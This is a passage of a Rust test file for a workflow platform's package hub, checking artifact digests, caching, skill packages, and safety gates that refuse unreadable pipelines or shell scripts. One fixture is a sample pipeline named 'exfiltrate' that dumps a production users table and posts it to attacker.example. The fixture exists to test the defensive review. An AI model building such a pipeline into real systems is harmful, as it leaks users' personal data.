"asset_kind": "pipeline",
"title": "Not A Bundle",
"description": "A pipeline package offered to the node installer.",
"files": []
}
});
let error = platform
.hub
.install_local_node_bundle("superadmin", "default", "notabundle", "1.0.0", "", artifact)
.expect_err("a non-bundle must be refused");
assert_eq!(error.code, "NODE_BUNDLE_INSTALL");
}
const REFERENCED_MODULE: &[u8] =
include_bytes!("../../../tests/fixtures/contracts/node-bundle/two-exports.wasm");
const REFERENCED_ICON: &str = "<svg xmlns=\"http://www.w3.org/2000/svg\"/>";
fn wasm_bundle_definition(package_id: &str, title: &str) -> String {
serde_json::json!({
"apiVersion": "zebflow.com/v1",
"kind": "NodeBundle",
"metadata": { "name": package_id, "version": "1.0.0" },
"spec": {
"package": package_id,
"version": "1.0.0",
"title": title,
"description": "A bundle whose module may travel beside the document.",
"icon": "icon.svg",
"credentials": [],
"hosts": [],
"functions": {},
"modules": {
"core": { "path": "wasm/core.wasm", "abi": "zebflow-wasm-json-v1" }
},
"nodes": [wasm_node_entry(
&format!("n.x.{package_id}.train"),
"Train",
"e2e_train"
)]
}
})
.to_string()
}
fn wasm_bundle_document(
package_id: &str,
title: &str,
module_entry: serde_json::Value,
) -> serde_json::Value {
let definition = wasm_bundle_definition(package_id, title);
serde_json::json!({
"apiVersion": "zebflow.com/v1",
"kind": "HubPackage",
"metadata": { "name": package_id, "version": "1.0.0" },
"spec": {
"asset_kind": "node_bundle",
"title": title,
"description": "A bundle whose module may travel beside the document.",
"files": [
{ "rel_path": "definition.json", "kind": "node_definition",
"size_bytes": definition.len(), "reason": "test",
"content": definition },
{ "rel_path": "icon.svg", "kind": "asset",
"size_bytes": REFERENCED_ICON.len(), "reason": "test",
"content": REFERENCED_ICON },
module_entry
]
}
})
}
fn carried_module_entry() -> serde_json::Value {
serde_json::json!({
"rel_path": "wasm/core.wasm", "kind": "asset",
"size_bytes": REFERENCED_MODULE.len(), "reason": "test", "encoding": "base64",
"content": base64::engine::general_purpose::STANDARD.encode(REFERENCED_MODULE)
})
}
fn referenced_module_entry(sha256: &str) -> serde_json::Value {
serde_json::json!({
"rel_path": "wasm/core.wasm", "kind": "asset",
"size_bytes": REFERENCED_MODULE.len(), "reason": "test",
"artifact": { "sha256": sha256, "media_type": "application/wasm" }
})
}
#[test]
fn a_publish_references_only_what_it_will_not_carry() {
let big_text = "-- seed\n".repeat(HUB_PUBLISH_REFERENCE_THRESHOLD_BYTES / 4);
let big_binary = vec![0x7f_u8; HUB_PUBLISH_REFERENCE_THRESHOLD_BYTES + 1];
let mut entries = vec![
text_export_entry(
"pipelines/api/small.zf.json",
"json",
"test",
"{}".to_string(),
),
text_export_entry("data/seed.sql", "sql", "test", big_text.clone()),
HubPackageFile {
rel_path: "assets/mural.png".to_string(),
kind: "png".to_string(),
size_bytes: big_binary.len(),
reason: "test".to_string(),
encoding: "base64".to_string(),
content: Some(base64::engine::general_purpose::STANDARD.encode(&big_binary)),
artifact: None,
},
];
let referenced = reference_large_publish_entries(&mut entries).expect("the rule applies");
assert_eq!(
entries[0].content.as_deref(),
Some("{}"),
"small stays carried"
);
assert!(entries[0].artifact.is_none());
for (index, bytes) in [(1_usize, big_text.as_bytes()), (2, big_binary.as_slice())] {
let entry = &entries[index];
assert!(
entry.content.is_none(),
"{} is no longer carried",
entry.rel_path
);
assert!(
entry.encoding.is_empty(),
"a referenced entry declares no encoding"
);
assert_eq!(
entry.size_bytes,
bytes.len(),
"size_bytes still counts raw bytes"
);
let artifact = entry
.artifact
.as_ref()
.expect("a digest replaced the content");
assert_eq!(artifact.sha256, sha256_hex(bytes));
}
assert_eq!(
referenced.iter().map(Vec::as_slice).collect::<Vec<_>>(),
vec![big_text.as_bytes(), big_binary.as_slice()],
"the bytes are handed back for the caller to store after the release is accepted"
);
}
#[test]
fn a_remote_channel_refusal_names_the_hub_it_came_from() {
let root = tempfile::tempdir().unwrap();
let channel = HubArtifactChannel::Remote(RemoteHubArtifacts {
cache_base: root.path().to_path_buf(),
origin: "Studio Hub".to_string(),
});
let error = channel
.resolve(
"wasm/core.wasm",
&HubPackageArtifactRef {
sha256: sha256_hex(REFERENCED_MODULE),
media_type: "application/wasm".to_string(),
},
REFERENCED_MODULE.len(),
)
.expect_err("nothing was fetched, so nothing resolves");
assert_eq!(error.code, "HUB_ARTIFACT_MISSING");
assert!(error.message.contains("Studio Hub"), "{}", error.message);
}
#[tokio::test]
async fn an_artifact_already_in_the_store_is_not_fetched_again() {
let root = tempfile::tempdir().unwrap();
let sha256 = sha256_hex(REFERENCED_MODULE);
let path = referenced_artifact_path(root.path(), &sha256).expect("a valid digest");
std::fs::create_dir_all(path.parent().unwrap()).unwrap();
std::fs::write(&path, REFERENCED_MODULE).unwrap();
fetch_referenced_artifact(
root.path(),
"http://127.0.0.1:1/never-reached",
"",
"wasm/core.wasm",
&HubPackageArtifactRef {
sha256: sha256.clone(),
media_type: "application/wasm".to_string(),
},
REFERENCED_MODULE.len(),
)
.await
.expect("the cached bytes answer without a request");
}
#[test]
fn a_corrupted_cache_entry_does_not_count_as_cached() {
let root = tempfile::tempdir().unwrap();
let sha256 = sha256_hex(REFERENCED_MODULE);
let path = referenced_artifact_path(root.path(), &sha256).expect("a valid digest");
std::fs::create_dir_all(path.parent().unwrap()).unwrap();
let mut wrong = REFERENCED_MODULE.to_vec();
wrong[0] ^= 0xff;
std::fs::write(&path, &wrong).unwrap();
assert!(!cached_artifact_matches(
&path,
REFERENCED_MODULE.len(),
&sha256
));
std::fs::write(&path, REFERENCED_MODULE).unwrap();
assert!(cached_artifact_matches(
&path,
REFERENCED_MODULE.len(),
&sha256
));
}
fn spec_of(document: &serde_json::Value) -> HubPackageSpec {
serde_json::from_value(document["spec"].clone()).expect("package spec")
}
fn test_platform(root: &tempfile::TempDir) -> crate::platform::services::PlatformService {
crate::platform::services::PlatformService::from_config(
crate::platform::model::PlatformConfig {
data_root: root.path().to_path_buf(),
default_password: "test-password".to_string(),
..Default::default()
},
)
.unwrap()
}
fn write_local_channel(
dir: &Path,
document: &serde_json::Value,
artifact: Option<(&str, &[u8])>,
) -> PathBuf {
let document_path = dir.join("package.json");
std::fs::write(&document_path, serde_json::to_vec(document).unwrap()).unwrap();
if let Some((sha256, bytes)) = artifact {
let artifact_dir = dir.join("artifacts");
std::fs::create_dir_all(&artifact_dir).unwrap();
std::fs::write(artifact_dir.join(sha256), bytes).unwrap();
}
document_path
}
#[test]
fn a_referenced_artifact_installs_from_the_hub_store() {
let root = tempfile::tempdir().unwrap();
let platform = test_platform(&root);
let owner = "superadmin";
let project = "default";
let sha256 = platform
.hub
.store_artifact(REFERENCED_MODULE)
.expect("the store takes the module");
assert_eq!(sha256, sha256_hex(REFERENCED_MODULE));
let document = wasm_bundle_document(
"storepkg",
"Stored Package",
referenced_module_entry(&sha256),
);
platform
.hub
.install_artifact_payload_from(
owner.to_string(),
project.to_string(),
"storepkg",
"1.0.0",
"",
HubInstallProvenance::new(
crate::contracts::kinds::DependencyLockSource::DirectFile,
"storepkg",
"1.0.0",
),
spec_of(&document),
&platform.hub.artifact_store(),
)
.expect("a verified artifact installs");
let installed = root
.path()
.join("users/superadmin/default/data/hub/nodes/storepkg/wasm/core.wasm");
assert_eq!(
std::fs::read(&installed).unwrap(),
REFERENCED_MODULE,
"the fetched bytes are the module, not a placeholder"
);
assert_eq!(
platform
.node_registry
.get_by_kind(owner, project, "n.x.storepkg.train")
.expect("the node is installed")
.manifest
.source,
crate::platform::model::NodePackageSource::Wasm
);
}
#[test]
fn a_referenced_artifact_installs_from_a_document_on_disk() {
let root = tempfile::tempdir().unwrap();
let platform = test_platform(&root);
let channel = tempfile::tempdir().unwrap();
let owner = "superadmin";
let project = "default";
let sha256 = sha256_hex(REFERENCED_MODULE);
let document =
wasm_bundle_document("filepkg", "File Package", referenced_module_entry(&sha256));
let document_path = write_local_channel(
channel.path(),
&document,
Some((&sha256, REFERENCED_MODULE)),
);
let review = platform
.hub
.review_local_node_bundle_document(
owner,
project,
"filepkg",
"1.0.0",
"",
&document_path,
)
.expect("review succeeds");
assert!(review.installable);
platform
.hub
.install_local_node_bundle_document(
owner,
project,
"filepkg",
"1.0.0",
"",
&document_path,
)
.expect("an artifact beside the document installs");
assert_eq!(
std::fs::read(
root.path()
.join("users/superadmin/default/data/hub/nodes/filepkg/wasm/core.wasm")
)
.unwrap(),
REFERENCED_MODULE
);
assert!(
platform
.node_registry
.get_by_kind(owner, project, "n.x.filepkg.train")
.is_some()
);
}
#[test]
fn a_carried_package_and_a_referenced_package_install_the_same_bytes() {
let carried_root = tempfile::tempdir().unwrap();
let carried = test_platform(&carried_root);
let referenced_root = tempfile::tempdir().unwrap();
let referenced = test_platform(&referenced_root);
let owner = "superadmin";
let project = "default";
let carried_document =
wasm_bundle_document("bothpkg", "Both Package", carried_module_entry());
carried
.hub
.install_local_node_bundle(
owner,
project,
"bothpkg",
"1.0.0",
"",
carried_document.clone(),
)
.expect("a carried package installs exactly as before");
let sha256 = referenced
.hub
.store_artifact(REFERENCED_MODULE)
.expect("the store takes the module");
let referenced_document =
wasm_bundle_document("bothpkg", "Both Package", referenced_module_entry(&sha256));
referenced
.hub
.install_artifact_payload_from(
owner.to_string(),
project.to_string(),
"bothpkg",
"1.0.0",
"",
HubInstallProvenance::new(
crate::contracts::kinds::DependencyLockSource::DirectFile,
"bothpkg",
"1.0.0",
),
spec_of(&referenced_document),
&referenced.hub.artifact_store(),
)
.expect("the referenced package installs");
for rel in ["definition.json", "icon.svg", "wasm/core.wasm"] {
let installed = format!("users/superadmin/default/data/hub/nodes/bothpkg/{rel}");
assert_eq!(
std::fs::read(carried_root.path().join(&installed)).unwrap(),
std::fs::read(referenced_root.path().join(&installed)).unwrap(),
"'{rel}' must not depend on how its bytes travelled"
);
}
}
const DANGEROUS_PIPELINE: &str = r#"{
"apiVersion": "zebflow.com/v1",
"kind": "Pipeline",
"metadata": { "name": "exfiltrate" },
"spec": {
"nodes": [
{ "id": "t1", "kind": "n.trigger.webhook",
"config": { "path": "/public/exfiltrate", "method": "POST" } },
{ "id": "n1", "kind": "n.db.query",
"config": { "credential": "prod-postgres", "query": "select * from users" } },
{ "id": "n2", "kind": "n.http.request",
"config": { "url": "https://attacker.example/collect" } }
]
}
}"#;
fn skill_entry(name: &str, front: &str, body: &str) -> HubPackageFile {
let content = format!("---\n{front}\n---\n{body}");
serde_json::from_value(serde_json::json!({
"rel_path": format!("skills/{name}/SKILL.md"), "kind": "doc",
"size_bytes": content.len(), "reason": "test", "content": content
}))
.expect("entry")
}
#[test]
fn a_skill_package_is_one_named_folder_with_a_complete_skill_md() {
assert_eq!(skill_folder_name("skills/write-pages").unwrap(), "write-pages");
assert_eq!(skill_folder_name("write-pages").unwrap(), "write-pages");
assert_eq!(skill_folder_name("skills/Write Pages").unwrap_err().code, "HUB_SKILL_INVALID");
assert_eq!(skill_folder_name("skills/a/b").unwrap_err().code, "HUB_SKILL_INVALID");
let good = skill_entry("write-pages", "name: write-pages\ndescription: Use when writing an Indera page.\nlicense: MIT", "# Write pages\n\nDo it well.\n");
let shape = validate_skill_entries("write-pages", &[good.clone()]).expect("valid");
assert_eq!(shape.description, "Use when writing an Indera page.");
let wrong_name = skill_entry("write-pages", "name: other\ndescription: x\nlicense: MIT", "body");
assert_eq!(validate_skill_entries("write-pages", &[wrong_name]).unwrap_err().code, "HUB_SKILL_INVALID");
let no_license = skill_entry("write-pages", "name: write-pages\ndescription: x", "body");
assert!(validate_skill_entries("write-pages", &[no_license]).unwrap_err().message.contains("license"));
let no_description = skill_entry("write-pages", "name: write-pages\nlicense: MIT", "body");
assert!(validate_skill_entries("write-pages", &[no_description]).unwrap_err().message.contains("description"));
let long = skill_entry("write-pages", "name: write-pages\ndescription: x\nlicense: MIT", &"line\n".repeat(600));
assert!(validate_skill_entries("write-pages", &[long]).unwrap_err().message.contains("lines"));
let stray: HubPackageFile = serde_json::from_value(serde_json::json!({
"rel_path": "pages/home.tsx", "kind": "tsx", "size_bytes": 1, "reason": "test", "content": "x"
}))
.unwrap();
assert!(validate_skill_entries("write-pages", &[good.clone(), stray]).unwrap_err().message.contains("outside"));
assert!(validate_skill_entries("write-pages", &[]).unwrap_err().message.contains("missing"));
}
#[test]
fn a_skill_installs_at_skills_name_under_the_source_root_regardless_of_target_folder() {
let entry = skill_entry("write-pages", "name: write-pages\ndescription: x\nlicense: MIT", "body\n");
let payload: HubPackageSpec = serde_json::from_value(serde_json::json!({
"asset_kind": HUB_ASSET_KIND_SKILL, "title": "Write pages", "description": "x",
"files": [serde_json::to_value(&entry).unwrap()]
}))
.unwrap();
let root_layout = ResolvedProjectLayout::platform_default();
let placement = HubInstallPlacement::new(&root_layout, &payload, "acme.write-pages", "hub/somewhere");
assert_eq!(placement.destination("skills/write-pages/SKILL.md"), "skills/write-pages/SKILL.md");
let mut moved = ResolvedProjectLayout::platform_default();
moved.source = "src".to_string();
let placement = HubInstallPlacement::new(&moved, &payload, "acme.write-pages", "");
assert_eq!(placement.destination("skills/write-pages/SKILL.md"), "src/skills/write-pages/SKILL.md");
}
fn pipeline_package(asset_kind: &str, entry: serde_json::Value) -> HubPackageSpec {
serde_json::from_value(serde_json::json!({
"asset_kind": asset_kind,
"title": "Exfiltrator",
"description": "A package whose pipeline may travel beside the document.",
"files": [entry]
}))
.expect("package spec")
}
fn carried_pipeline_entry() -> serde_json::Value {
serde_json::json!({
"rel_path": "pipelines/exfiltrate.zf.json", "kind": "pipeline",
"size_bytes": DANGEROUS_PIPELINE.len(), "reason": "test",
"content": DANGEROUS_PIPELINE
})
}
fn referenced_pipeline_entry(sha256: &str) -> serde_json::Value {
serde_json::json!({
"rel_path": "pipelines/exfiltrate.zf.json", "kind": "pipeline",
"size_bytes": DANGEROUS_PIPELINE.len(), "reason": "test",
"artifact": { "sha256": sha256, "media_type": "application/json" }
})
}
#[test]
fn a_project_bundle_the_review_cannot_read_is_refused() {
let package = pipeline_package(
HUB_ASSET_KIND_PROJECT_BUNDLE,
referenced_pipeline_entry(&sha256_hex(DANGEROUS_PIPELINE.as_bytes())),
);
let error = refuse_unreviewable_project_bundle(&review_project_bundle_entries(
&ResolvedProjectLayout::platform_default(),
&package.files,
&no_channel(),
))
.expect_err("a bundle the review cannot read must not install");
assert_eq!(error.code, "HUB_REMOTE_INSTALL_REFUSED");
assert!(
error.message.contains("pipelines/exfiltrate.zf.json"),
"the refusal names the entry it could not read: {}",
error.message
);
}
#[test]
fn a_readable_project_bundle_passes_however_hostile_it_is() {
let package = pipeline_package(HUB_ASSET_KIND_PROJECT_BUNDLE, carried_pipeline_entry());
refuse_unreviewable_project_bundle(&review_project_bundle_entries(
&ResolvedProjectLayout::platform_default(),
&package.files,
&no_channel(),
))
.expect("a readable bundle is not refused by this gate today");
}
#[test]
fn both_install_gates_refuse_a_file_type_no_project_accepts() {
let layout = ResolvedProjectLayout::platform_default();
let rel = "pipelines/hub/pkg/postinstall.sh";
let package = pipeline_package(
HUB_ASSET_KIND_PROJECT_BUNDLE,
serde_json::json!({
"rel_path": rel, "kind": "file",
"size_bytes": 5, "reason": "test", "content": "true\n"
}),
);
let bundle_error = refuse_unreviewable_project_bundle(&review_project_bundle_entries(
&layout,
&package.files,
&no_channel(),
))
.expect_err("a bundle carrying a shell script must not install");
let prepared = vec![PreparedHubInstallEntry {
install_rel: rel.to_string(),
destination: PathBuf::from(rel),
bytes: b"true\n".to_vec(),
previous: None,
}];
let prepared_error =
refuse_prepared_install_violations(&layout, HUB_ASSET_KIND_PIPELINE_BUNDLE, &prepared)
.expect_err("the same script must not reach disk either");
assert_eq!(bundle_error.code, "HUB_REMOTE_INSTALL_REFUSED");
assert_eq!(prepared_error.code, "HUB_INSTALL_REFUSED");
for error in [&bundle_error, &prepared_error] {
assert!(
error.message.contains(rel) && error.message.contains("'.sh'"),
"the refusal names the path and the extension: {}",
error.message
);
}
}
#[test]
fn both_install_gates_accept_ordinary_source() {
let layout = ResolvedProjectLayout::platform_default();
let rel = "pipelines/hub/pkg/postinstall.tsx";
let package = pipeline_package(
HUB_ASSET_KIND_PROJECT_BUNDLE,
serde_json::json!({
"rel_path": rel, "kind": "tsx",
"size_bytes": 5, "reason": "test", "content": "true\n"
}),
);
refuse_unreviewable_project_bundle(&review_project_bundle_entries(
&layout,
&package.files,
&no_channel(),
))
.expect("ordinary source is not refused");
refuse_prepared_install_violations(
&layout,
HUB_ASSET_KIND_PIPELINE_BUNDLE,
&[PreparedHubInstallEntry {
install_rel: rel.to_string(),
destination: PathBuf::from(rel),
bytes: b"true\n".to_vec(),
previous: None,
}],
)
.expect("ordinary source is not refused");
}
const NOT_TEXT_PIPELINE: &[u8] = &[0x1f, 0x8b, 0x08, 0x00, 0xff, 0xfe, 0x00, 0x01];
fn not_text_entry(rel_path: &str) -> serde_json::Value {
serde_json::json!({
"rel_path": rel_path, "kind": "pipeline",
"size_bytes": NOT_TEXT_PIPELINE.len(), "reason": "test",
"encoding": "base64",
"content": base64::engine::general_purpose::STANDARD.encode(NOT_TEXT_PIPELINE)
})
}
fn prepared_entry(rel_path: &str, bytes: &[u8]) -> PreparedHubInstallEntry {
PreparedHubInstallEntry {
install_rel: rel_path.to_string(),
destination: PathBuf::from(rel_path),
bytes: bytes.to_vec(),
previous: None,
}
}
fn bundle_definition_document() -> String {
serde_json::json!({
"apiVersion": "zebflow.com/v1",
"kind": "NodeBundle",
"metadata": { "name": "acme", "version": "1.0.0" },
"spec": {
"package": "acme",
"version": "1.0.0",
"title": "Acme",
"description": "A bundle whose function pipeline travels with it.",
"functions": { "main": "functions/main.zf.json" },
"nodes": [{
"kind": "n.x.acme.sync",
"title": "Sync",
"description": "Push a payload somewhere.",
"run": { "function": "main" },
"definition": {
"input_pins": ["in"],
"output_pins": ["out"],
"config_schema": {},
"input_schema": { "type": "object" },
"output_schema": { "type": "object" }
}
}]
}
})
.to_string()
}
#[test]
fn all_three_gates_refuse_the_same_pipeline_none_of_them_can_read() {
let layout = ResolvedProjectLayout::platform_default();
let rel = "pipelines/exfiltrate.zf.json";
let package = pipeline_package(HUB_ASSET_KIND_PIPELINE_BUNDLE, not_text_entry(rel));
let publish_error = refuse_publish_violations(
"HUB_PUBLISH_REFUSED",
&review_publish_entries(
&layout,
HUB_ASSET_KIND_PIPELINE_BUNDLE,
&package.files,
Vec::new(),
"Exfiltrator",
"A pipeline whose bytes are not text.",
true,
&no_channel(),
),
)
.expect_err("a release no install would accept must not be published");
let bundle_error = refuse_unreviewable_project_bundle(&review_project_bundle_entries(
&layout,
&package.files,
&no_channel(),
))
.expect_err("a bundle whose pipeline cannot be read must not install");
let prepared_error = refuse_prepared_install_violations(
&layout,
HUB_ASSET_KIND_PIPELINE_BUNDLE,
&[prepared_entry(rel, NOT_TEXT_PIPELINE)],
)
.expect_err("the same bytes must not reach disk either");
assert_eq!(publish_error.code, "HUB_PUBLISH_REFUSED");
assert_eq!(bundle_error.code, "HUB_REMOTE_INSTALL_REFUSED");
assert_eq!(prepared_error.code, "HUB_INSTALL_REFUSED");
for error in [&publish_error, &bundle_error, &prepared_error] {
assert!(
error.message.contains(rel)
&& error
.message
.contains("a pipeline the safety review cannot read"),
"every gate reports the same finding: {}",
error.message
);
}
}
#[test]
fn all_three_gates_accept_a_binary_that_is_not_at_a_pipeline_path() {
let layout = ResolvedProjectLayout::platform_default();
let icon = [0x89u8, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a];
let rel = if layout.r#static.is_empty() {
"icon.png".to_string()
} else {
format!("{}/icon.png", layout.r#static)
};
let package = pipeline_package(
HUB_ASSET_KIND_PIPELINE_BUNDLE,
serde_json::json!({
"rel_path": rel, "kind": "asset",
"size_bytes": icon.len(), "reason": "test",
"encoding": "base64",
"content": base64::engine::general_purpose::STANDARD.encode(icon)
}),
);
refuse_publish_violations(
"HUB_PUBLISH_REFUSED",
&review_publish_entries(
&layout,
HUB_ASSET_KIND_PIPELINE_BUNDLE,
&package.files,
Vec::new(),
"Icon",
"A package carrying an image.",
true,
&no_channel(),
),
)
.expect("an image is publishable");
refuse_unreviewable_project_bundle(&review_project_bundle_entries(
&layout,
&package.files,
&no_channel(),
))
.expect("an image is installable");
refuse_prepared_install_violations(
&layout,
HUB_ASSET_KIND_PIPELINE_BUNDLE,
&[prepared_entry(&rel, &icon)],
)
.expect("an image is installable");
}
#[test]
fn a_repository_pipeline_that_is_not_text_is_refused_before_the_gate_sees_it() {
let layout = ResolvedProjectLayout::platform_default();
let prepared = [prepared_entry(
"pipelines/exfiltrate.zf.json",
NOT_TEXT_PIPELINE,
)];
let validator_error =
validate_prepared_pipeline_sources(&layout, HUB_ASSET_KIND_PIPELINE_BUNDLE, &prepared)
.expect_err("bytes that will not decode are not a pipeline");
assert_eq!(validator_error.code, "HUB_INSTALL");
let gate_error =
refuse_prepared_install_violations(&layout, HUB_ASSET_KIND_PIPELINE_BUNDLE, &prepared)
.expect_err("the gate behind it must not disagree");
assert_eq!(gate_error.code, "HUB_INSTALL_REFUSED");
}
#[test]
fn a_bundle_function_pipeline_that_is_not_text_reaches_only_the_prepared_gate() {
let layout = ResolvedProjectLayout::platform_default();
let definition = bundle_definition_document();
let function_rel = "hub/acme/functions/main.zf.json";
let prepared = [
prepared_entry("hub/acme/definition.json", definition.as_bytes()),
prepared_entry(function_rel, NOT_TEXT_PIPELINE),
];
validate_prepared_pipeline_sources(&layout, HUB_ASSET_KIND_NODE_BUNDLE, &prepared)
.expect("a bundle's own function pipeline is not a repository pipeline path");
let error =
refuse_prepared_install_violations(&layout, HUB_ASSET_KIND_NODE_BUNDLE, &prepared)
.expect_err("a function pipeline the review cannot read must not install");
assert_eq!(error.code, "HUB_INSTALL_REFUSED");
assert!(
error.message.contains(function_rel)
&& error
.message
.contains("a pipeline the safety review cannot read"),
"the refusal names the function pipeline: {}",
error.message
);
}
#[test]
fn a_referenced_pipeline_reviews_exactly_as_the_carried_one_does() {
let root = tempfile::tempdir().unwrap();
let platform = test_platform(&root);
let sha256 = platform
.hub
.store_artifact(DANGEROUS_PIPELINE.as_bytes())
.expect("the store takes the pipeline");
let review_of = |entry: serde_json::Value| {
platform
.hub
.review_artifact_payload(
"superadmin",
"default",
"exfilpkg",
"1.0.0",
"",
&pipeline_package(HUB_ASSET_KIND_PIPELINE_BUNDLE, entry),
&platform.hub.artifact_store(),
)
.expect("the review runs")
};
let carried = review_of(carried_pipeline_entry());
let referenced = review_of(referenced_pipeline_entry(&sha256));
assert!(
carried
.public_endpoints
.contains(&"/public/exfiltrate".to_string()),
"the carried form is the control and must see the endpoint"
);
assert_eq!(
serde_json::to_value(&referenced).unwrap(),
serde_json::to_value(&carried).unwrap(),
"how the bytes travelled must not change a single reviewed fact"
);
}
#[test]
fn a_pipeline_the_channel_cannot_resolve_blocks_the_review() {
let root = tempfile::tempdir().unwrap();
let platform = test_platform(&root);
let sha256 = sha256_hex(DANGEROUS_PIPELINE.as_bytes());
let review = platform
.hub
.review_artifact_payload(
"superadmin",
"default",
"exfilpkg",
"1.0.0",
"",
&pipeline_package(
HUB_ASSET_KIND_PIPELINE_BUNDLE,
referenced_pipeline_entry(&sha256),
),
&no_channel(),
)
.expect("the review runs");
assert!(
!review.installable && review.risk_level == "blocked",
"an unreadable pipeline must block, not pass: {review:?}"
);
assert!(
review
.violations
.iter()
.any(|item| item.starts_with("hub/exfilpkg/pipelines/exfiltrate.zf.json:")),
"the violation names the destination the install would write: {:?}",
review.violations
);
assert!(
review.nodes_used.is_empty() && review.public_endpoints.is_empty(),
"nothing may be reported as reviewed when nothing could be read"
);
}
#[test]
fn an_unreadable_pipeline_refuses_the_install_before_anything_is_written() {
let root = tempfile::tempdir().unwrap();
let platform = test_platform(&root);
let sha256 = sha256_hex(DANGEROUS_PIPELINE.as_bytes());
let document = serde_json::json!({
"apiVersion": "zebflow.com/v1",
"kind": "HubPackage",
"metadata": { "name": "exfilpkg", "version": "1.0.0" },
"spec": serde_json::to_value(pipeline_package(
HUB_ASSET_KIND_NODE_BUNDLE,
referenced_pipeline_entry(&sha256),
))
.unwrap()
});
let error = platform
.hub
.install_local_node_bundle(
"superadmin",
"default",
"exfilpkg",
"1.0.0",
"pipelines/hub/exfilpkg",
document,
)
.expect_err("a package the review cannot read must not install");
assert_eq!(error.code, "NODE_BUNDLE_INSTALL_REFUSED");
assert!(
!root
.path()
.join("users/superadmin/default/data/pipelines/hub/exfilpkg")
.exists(),
"the refusal must precede every write"
);
}
fn install_previous_state(
root: &tempfile::TempDir,
platform: &crate::platform::services::PlatformService,
package_id: &str,
) -> (
Vec<u8>,
Vec<u8>,
crate::contracts::kinds::DependencyLockSpec,
) {
let document =
wasm_bundle_document(package_id, "Installed Package", carried_module_entry());
platform
.hub
.install_local_node_bundle("superadmin", "default", package_id, "1.0.0", "", document)
.expect("the first install succeeds");
let package_dir = root.path().join(format!(
"users/superadmin/default/data/hub/nodes/{package_id}"
));
(
std::fs::read(package_dir.join("definition.json")).unwrap(),
std::fs::read(package_dir.join("wasm/core.wasm")).unwrap(),
platform
.dependency_lock
.read("superadmin", "default")
.unwrap(),
)
}
fn assert_previous_state(
root: &tempfile::TempDir,
platform: &crate::platform::services::PlatformService,
package_id: &str,
previous: (
Vec<u8>,
Vec<u8>,
crate::contracts::kinds::DependencyLockSpec,
),
) {
let package_dir = root.path().join(format!(
"users/superadmin/default/data/hub/nodes/{package_id}"
));
assert_eq!(
std::fs::read(package_dir.join("definition.json")).unwrap(),
previous.0,
"the refused install must not have rewritten the definition"
);
assert_eq!(
std::fs::read(package_dir.join("wasm/core.wasm")).unwrap(),
previous.1,
"the refused install must not have rewritten the module"
);
assert_eq!(
platform
.dependency_lock
.read("superadmin", "default")
.unwrap(),
previous.2,
"the lock still describes what is actually installed"
);
assert!(
platform
.node_registry
.get_by_kind("superadmin", "default", &format!("n.x.{package_id}.train"))
.is_some(),
"the previously installed node still resolves"
);
}
#[test]
fn a_digest_mismatch_refuses_the_install_and_leaves_the_previous_state() {
let root = tempfile::tempdir().unwrap();
let platform = test_platform(&root);
let channel = tempfile::tempdir().unwrap();
let previous = install_previous_state(&root, &platform, "tamperpkg");
let sha256 = sha256_hex(REFERENCED_MODULE);
let document = wasm_bundle_document(
"tamperpkg",
"Tampered Package",
referenced_module_entry(&sha256),
);
let mut tampered = REFERENCED_MODULE.to_vec();
*tampered.last_mut().unwrap() ^= 0xff;
let document_path =
write_local_channel(channel.path(), &document, Some((&sha256, &tampered)));
let error = platform
.hub
.install_local_node_bundle_document(
"superadmin",
"default",
"tamperpkg",
"1.0.0",
"",
&document_path,
)
.expect_err("a digest mismatch must refuse the install");
assert_eq!(error.code, "HUB_ARTIFACT_DIGEST_MISMATCH");
assert_previous_state(&root, &platform, "tamperpkg", previous);
}
#[test]
fn a_missing_artifact_refuses_the_install_and_leaves_the_previous_state() {
let root = tempfile::tempdir().unwrap();
let platform = test_platform(&root);
let channel = tempfile::tempdir().unwrap();
let previous = install_previous_state(&root, &platform, "missingpkg");
let document = wasm_bundle_document(
"missingpkg",
"Missing Package",
referenced_module_entry(&sha256_hex(REFERENCED_MODULE)),
);
let document_path = write_local_channel(channel.path(), &document, None);
let error = platform
.hub
.install_local_node_bundle_document(
"superadmin",
"default",
"missingpkg",
"1.0.0",
"",
&document_path,
)
.expect_err("a missing artifact must refuse the install");
assert_eq!(error.code, "HUB_ARTIFACT_MISSING");
assert_previous_state(&root, &platform, "missingpkg", previous);
}
#[test]
fn a_channel_without_a_location_refuses_a_referenced_artifact() {
let root = tempfile::tempdir().unwrap();
let platform = test_platform(&root);
let document = wasm_bundle_document(
"bodypkg",
"Body Package",
referenced_module_entry(&sha256_hex(REFERENCED_MODULE)),
);
let error = platform
.hub
.install_local_node_bundle("superadmin", "default", "bodypkg", "1.0.0", "", document)
.expect_err("a channel with no location must refuse");
assert_eq!(error.code, "HUB_ARTIFACT_UNRESOLVED");
assert!(
!root
.path()
.join("users/superadmin/default/data/hub/nodes/bodypkg")
.exists(),
"a refused install writes nothing at all"
);
}
#[tokio::test]
async fn a_wasm_trigger_runs_its_handler_export() {
use base64::Engine as _;
let root = tempfile::tempdir().unwrap();
let platform = std::sync::Arc::new(
crate::platform::services::PlatformService::from_config(
crate::platform::model::PlatformConfig {
data_root: root.path().to_path_buf(),
default_password: "test-password".to_string(),
..Default::default()
},
)
.unwrap(),
);
let owner = "superadmin";
let project = "default";
let module =
include_bytes!("../../../tests/fixtures/contracts/node-bundle/two-exports.wasm");
let mut trigger = wasm_node_entry("n.x.wasmtrig.inbox", "Inbox", "e2e_train");
trigger["trigger"] = serde_json::json!({
"type": "webhook",
"path_template": "/wasmtrig/{{ hook_key }}"
});
trigger["definition"]["input_pins"] = serde_json::json!([]);
trigger["definition"]["config_schema"] = serde_json::json!({
"type": "object",
"properties": { "hook_key": { "type": "string" } }
});
trigger["definition"]["fields"] = serde_json::json!([{
"name": "hook_key",
"label": "Hook Key",
"type": "text",
"help": "Key used to build the public webhook path."
}]);
let definition = serde_json::json!({
"apiVersion": "zebflow.com/v1",
"kind": "NodeBundle",
"metadata": { "name": "wasmtrig", "version": "1.0.0" },
"spec": {
"package": "wasmtrig",
"version": "1.0.0",
"title": "WASM Trigger",
"description": "A trigger whose inbound handler is a WASM export.",
"icon": "icon.svg",
"credentials": [],
"functions": {},
"modules": {
"core": { "path": "wasm/core.wasm", "abi": "zebflow-wasm-json-v1" }
},
"nodes": [trigger]
}
})
.to_string();
let icon = "<svg xmlns=\"http://www.w3.org/2000/svg\"/>";
let payload: HubPackageSpec = serde_json::from_value(serde_json::json!({
"asset_kind": "node_bundle",
"title": "WASM Trigger",
"description": "Exercises a WASM trigger handler.",
"files": [
